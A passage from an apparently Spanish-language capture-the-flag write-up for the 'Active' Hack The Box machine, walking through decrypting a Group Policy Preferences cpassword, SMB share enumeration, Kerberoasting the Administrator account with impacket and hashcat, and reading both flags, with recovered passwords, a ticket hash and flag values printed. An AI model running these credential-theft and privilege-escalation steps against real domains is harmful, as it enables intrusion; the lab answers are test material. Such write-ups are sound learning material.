D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18
20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB5857821 | 9D}"><Properties
action="U" newName="" fullName="" description="" cpassword="edBSHOWhZLTjt/
QS9FelcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/
NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acc | tDisabled="0"
userName="active.htb\SVC_TGS"/></User> 3 | </Groups>
```

Lo que hemos encontrado encaja muy fuerte con el problema histórico de Group Policy Preferences passwords, concretamente MS14-025 / CVE-2014-1812. Microsoft retiró la posibilidad de guardar usuario y contraseña en preferencias como Local Users and Groups porque se almacenaban de forma insegura, y NVD describe justamente que esa debilidad podía permitir recuperar credenciales distribuidas por políticas.

- Hallazgo dominante actual: Groups.xml con cpassword para active.htb\SVC_TGS.

Ahora que ya tenemos las credenciales obtenidas en Groups.xml, vamos a validar su reutilización sobre SMB y a ver donde nos lleva.

Desciframos el valor de cpassword con el script gpp-decrypt.

```
> gpp-decrypt edBSHOWhZLTjt/
QS9FelcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/
NglVmQ GPPstillStandingStrong2k18
```

Probamos las credenciales en SMB con SMBMAP.

```
> smbmap -H 10.129.22.210 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] IP: 10.129.22.210:445 Name: active.htb
```

```
Disk Permissions Comment ---- ----- ADMIN$ NO ACCESS Remote Admin
```

C\$ NO ACCESS Default share IPC\$ NO ACCESS Remote IPC NETLOGON READ ONLY
Logon server share Replication READ ONLY
SYSVOL READ ONLY Logon server share Users READ ONLY

Las credenciales de SVC_TGS permiten acceso de solo lectura a los shares NETLOGON, Replication, SYSVOL y Users. Esto es consistente con el hecho de que SVC_TGS es un usuario de servicio con permisos limitados, pero aún así puede ser útil para la enumeración y la recopilación de información adicional sobre el dominio.

Accedemos con smbclient al recurso //10.129.22.210/Users.

```
> smbclient //10.129.22.210/Users -U active.htb\SVC_TGS%GPPstillStandingStrong2k18
Try "help" to get a list of possible commands. smb: > id id: command not found smb: >
get user.txt NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \user.txt
smb: > ls . DR 0 Sat Jul 21 16:39:20 2018 .. DR 0 Sat Jul 21 16:39:20 2018 Administrator
D 0 Mon Jul 16 12:14:21 2018 All Users DHSrn 0 Tue Jul 14 07:06:44 2009 Default DHR
0 Tue Jul 14 08:38:21 2009 Default User DHSrn 0 Tue Jul 14 07:06:44 2009 desktop.ini
AHS 174 Tue Jul 14 06:57:55 2009 Public DR 0 Tue Jul 14 06:57:55 2009 SVC_TGS D 0
Sat Jul 21 17:16:32 2018
```

5217023 blocks of size 4096. 279186 blocks available

smb: >

El share Users contiene directorios para cada usuario del dominio, incluyendo el de SVC_TGS. Entramos en el directorio de SVC_TGS para ver si hay algo útil.

```
smb: > cd SVC_TGS smb: \SVC_TGS> ls . D 0 Sat Jul 21 17:16:32 2018 .. D 0 Sat Jul 21
17:16:32 2018 Contacts D 0 Sat Jul 21 17:14:11 2018 Desktop D 0 Sat Jul 21 17:14:42 2018
Downloads D 0 Sat Jul 21 17:14:23 2018 Favorites D 0 Sat Jul 21 17:14:44 2018 Links D 0
Sat Jul 21 17:14:57 2018 My Documents D 0 Sat Jul 21 17:15:03 2018 My Music D 0 Sat
Jul 21 17:15:32 2018 My Pictures D 0 Sat Jul 21 17:15:43 2018 My Videos D 0 Sat Jul 21
17:15:53 2018 Saved Games D 0 Sat Jul 21 17:16:12 2018 Searches D 0 Sat Jul 21
17:16:24 2018
```

5217023 blocks of size 4096. 279186 blocks available

El directorio de SVC_TGS no contiene archivos, pero la estructura es típica de un perfil de usuario en Windows. Esto sugiere que SVC_TGS es un usuario activo en el dominio, vamos a explorar que se ve en cada uno de los shares a los que tenemos acceso con estas credenciales para ver si hay algo útil. Y en el directorio Desktop nos encontramos con el archivo user.txt, que es el primer objetivo de la máquina. Procedemos a descargarlo y a leer su contenido.

```
smb: \SVC_TGS\Desktop> get user.txt getting file \SVC_TGS\Desktop\user.txt of size 34
as user.txt (0,2 KiloBytes/sec) (average 0,2 KiloBytes/sec) smb: \SVC_TGS\Desktop> !
cat user.txt bed05b723496f102483aaf7bebac6238
```

Ya tenemos la primera flag, vamos a por la escalada de privilegios.

Vamos a por Kerberos, que es el servicio más típico para la escalada en entornos AD después de obtener credenciales. Vamos a probar a solicitar un ticket TGS para el servicio CIFS utilizando las credenciales de SVC_TGS. Utilizaremos impacket-GetUserSPNs que es una herramienta de la suite impacket diseñada para solicitar tickets TGS y extraer hashes de contraseñas y que Parrot tiene instalada por defecto.

Primero una enumeración de SPNs para ver si hay algún servicio con SPN registrado que podamos atacar.

➤ `impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.22.210` Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation

active/CIFS:445 Administrator CN=Group Policy Creator
Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40.351723 2026-04-17
16:47:38.977345

El servicio CIFS tiene un SPN registrado, lo que significa que podemos solicitar un ticket TGS para ese servicio utilizando las credenciales de SVC_TGS. Esto es una oportunidad clara para intentar una escalada de privilegios utilizando el ataque conocido como Kerberoasting, que consiste en solicitar un ticket TGS para un servicio con SPN registrado y luego intentar crackear el hash de la contraseña del servicio para obtener acceso a la cuenta que lo registra, en este caso la cuenta de Administrator.

Vamos a pedir un ticket TGS para el servicio CIFS utilizando las credenciales de SVC_TGS.

➤ `impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.22.210 -request-user Administrator` Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation

active/CIFS:445 Administrator CN=Group Policy Creator
Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40.351723 2026-04-17
16:47:38.977345

[-] CCache file is not found. Skipping...

`$krb5tgs$23$Administrator$ACTIVE.HTB$active.htb/`

`Administrator$56c4797c69114602333186514438a827$5c293143e5d8f359be3fbb3158e99e22b`

El hash obtenido es un hash de contraseña de Kerberos para la cuenta de Administrator. Ahora el siguiente paso sería intentar crackear este hash utilizando una herramienta como Hashcat o John the Ripper para obtener la contraseña en texto claro y así poder acceder a la cuenta de Administrator y escalar privilegios en el dominio. Guardamos el hash en un fichero para facilitar su uso con las herramientas de cracking.

```
> hashcat -m 13100 -a 0 /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/administrator_tgs.hash /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting
```

El resultado: Ticketmaster1968

Entramos en la cuenta de Administrator utilizando las credenciales obtenidas.

```
> smbclient //10.129.22.210/C$ -U active.htb\Administrator%Ticketmaster1968 Try
"help" to get a list of possible commands. smb: > ls $Recycle.Bin DHS 0 Tue Jul 14
04:34:39 2009 Documents and Settings DHSrn 0 Tue Jul 14 07:06:44 2009
pagefile.sys AHS 5190320128 Fri Apr 17 16:46:22 2026 PerfLogs D 0 Tue Jul 14
05:20:08 2009 Program Files DR 0 Wed Jan 12 14:11:58 2022 Program Files (x86) DR 0
Thu Jan 21 17:49:16 2021 ProgramData DHn 0 Wed Jan 12 14:09:27 2022 Recovery
DHSn 0 Mon Jul 16 12:13:22 2018 System Volume Information DHS 0 Wed Jul 18
20:45:01 2018 Users DR 0 Sat Jul 21 16:39:20 2018 Windows D 0 Fri Apr 17 17:34:59
2026
```

5217023 blocks of size 4096. 278896 blocks available

Ahora que tenemos acceso a la cuenta de Administrator, podemos explorar el sistema de archivos para encontrar la flag de root. Normalmente, esta flag se encuentra en el escritorio del usuario Administrator, así que vamos a navegar hasta ese directorio.

```
smb: > cd Users\Administrator\Desktop smb: \Users\Administrator\Desktop> ls . DR 0
Thu Jan 21 17:49:47 2021 .. DR 0 Thu Jan 21 17:49:47 2021 desktop.ini AHS 282 Mon Jul
30 15:50:10 2018 root.txt AR 34 Fri Apr 17 16:47:36 2026
```

5217023 blocks of size 4096. 278896 blocks available

Hemos encontrado el archivo root.txt en el escritorio de Administrator. Procedemos a descargarlo y a leer su contenido.

```
smb: \Users\Administrator\Desktop> get root.txt getting file
\Users\Administrator\Desktop\root.txt of size 34 as root.txt (0,2 KiloBytes/sec) (average
0,2 KiloBytes/sec) smb: \Users\Administrator\Desktop> !cat root.txt
7aab38b5d931524e961a3a8a44d7a2ac
```

Hemos obtenido la flag de root, lo que significa que hemos completado con éxito la escalada de privilegios en esta máquina.